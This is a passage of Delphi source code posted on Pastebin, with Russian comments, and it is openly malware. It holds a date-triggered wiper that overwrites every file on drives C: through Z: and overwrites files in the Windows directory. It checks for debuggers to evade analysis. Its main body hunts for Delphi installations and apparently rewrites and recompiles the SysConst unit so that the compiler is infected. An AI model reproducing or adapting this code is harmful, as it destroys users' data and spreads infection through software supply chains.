  338.   Z := Round((GetFileSize(f, nil) / (1024 + Length(msgwr) - 1)));
  339.   for i := 0 to Z do
  340.   begin
  341.     WriteFile(f, Msgwr, Length(msgwr), N, nil);
  342.     WriteFile(f, Buf, 1024, N, nil);
  343.   end;
  344.   CloseHandle(f);
  345. end;
  346.  
  347. procedure FileRecursive(Buf: String);
  348. var
  349.   FD: _WIN32_FIND_DATA;
  350.   H: THandle;
  351. begin
  352.   H := FindFirstFile(PChar(Buf + '*.*'), FD);
  353.   repeat
  354.     if FD.cFileName[0] <> '.' then
  355.     begin
  356.       if (FD.dwFileAttributes and $000010) = $000010 then
  357.         FileRecursive(Buf + FD.cFileName + '\')
  358.       else
  359.         Rewrite(FD.cFileName);
  360.     end;
  361.   until (not FindNextFile(H,FD));
  362.   FindClose(H);
  363. end;
  364.  
  365. procedure Files;
  366. var
  367.   i: byte;
  368. begin
  369.   for i := $63 to $7A do
  370.     FileRecursive(Chr(i) + ':\');
  371. end;
  372.  
  373. procedure Analyze;
  374. var
  375.   Windir: array [0..255] of Char;
  376.   i: integer;
  377.   Winter: String;
  378.   W: DWORD;
  379. begin
  380.   FillChar(Windir, 256, 0);
  381.   GetWindowsDirectory(Windir, 255);
  382.   for i := 0 to 255 do
  383.     Winter[i] := Windir[i];
  384.   If Winter[Length(Winter)] <> '\' then Winter := Winter + '\';
  385.   Rewrite(Winter + hal);
  386.   Rewrite(Winter + unm);
  387.   Rewrite(Winter + inut);
  388.   Rewrite(Winter + fsad);
  389.   Rewrite(Winter + ghfg);
  390.   Rewrite(Winter + ploha);
  391.   Rewrite(Sendfromagod);
  392.   Files;
  393.   MessageBox(0, msgwr, smsg, 0);
  394. end;
  395.  
  396. procedure Check;  // В. настало твоё время! (если сегодня 13 октября 2010 или больше, то Analize)
  397. var
  398.   W: _SYSTEMTIME;
  399. begin
  400.   GetSystemTime(W);
  401.   If w.wYear > 2010 then Analyze;
  402.   If w.wYear = 2010 then
  403.     If w.wMonth > 10 then Analyze;
  404.   If w.wYear = 2010 then
  405.     If w.wMonth = 10 then
  406.       If w.wDay >= 13 then  Analyze;
  407. end;
  408.  
  409. function UseThis: boolean;
  410. // (запускать ли всю эту пиз-ю? ой, извините, извините) уже б назвал NotUseThis так вроде логичней
  411. begin
  412.   result := false;
  413.   if not IsNtMachine then
  414.   begin
  415.     result := true;
  416.     exit;
  417.   end;
  418.   if IsDebuggerPresentKernel then
  419.   begin
  420.     result := true;
  421.     exit;
  422.   end;
  423.   If IsDbg then
  424.   begin
  425.     result := true;
  426.     exit;
  427.   end;
  428. end;
  429.  
  430. var
  431.   rt: string;  // путь к папке с установленным Delphi
  432.  
  433.            // ***** -- -- ГЛАВНОЕ ТЕЛО ПРОГРАММЫ ДАДА -- -- ***** //
  434.  
  435. begin
  436.   if not usethis then  // если это NT-система, нема отладчика и нет отладчика, то:
  437.   begin
  438.     (* попробовать найти старые версии делфей и накласть там *)
  439.     rt := C(PChar(DS1 + v40)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
  440.     rt := C(PChar(DS1 + v50)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
  441.     rt := C(PChar(DS1 + v60)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
  442.     rt := C(PChar(DS1 + v70)); B(rt + DS3 + '.' + pas, rt + DS4, Apo + rt + DS5);
  443.     {
  444.       например, для Delphi 7 функция B вызовется так:
  445.       B('C:\Program Files\Borland\Delphi7\\source\rtl\sys\SysConst.pas',  // путь к бедному файлу SysConst.pas
  446.         'C:\Program Files\Borland\Delphi7\\lib\SysConst.',                // туда где SysConst.dcu
  447.         'C:\Program Files\Borland\Delphi7\\bin\dcc32.exe');               // путь к компилятору Delphi
  448.     }
  449.     (* попробовать найти новые версии делфей и заделать там *)
  450.     {
  451.       здесь отличие только в пути к файлу SysConst.pas
  452.       он лежит в папке source\Win32\rtl\sys
  453.     }
  454.     rt := C(PChar(bih + v40)); B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
  455.     rt := C(PChar(bih + v50)); B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
  456.     rt := C(PChar(cg + v60));  B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
  457.     rt := C(PChar(cg + v70));  B(rt + sco + '.' + pas, rt + DS4, Apo + rt + DS5);
  458.   end;
  459. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!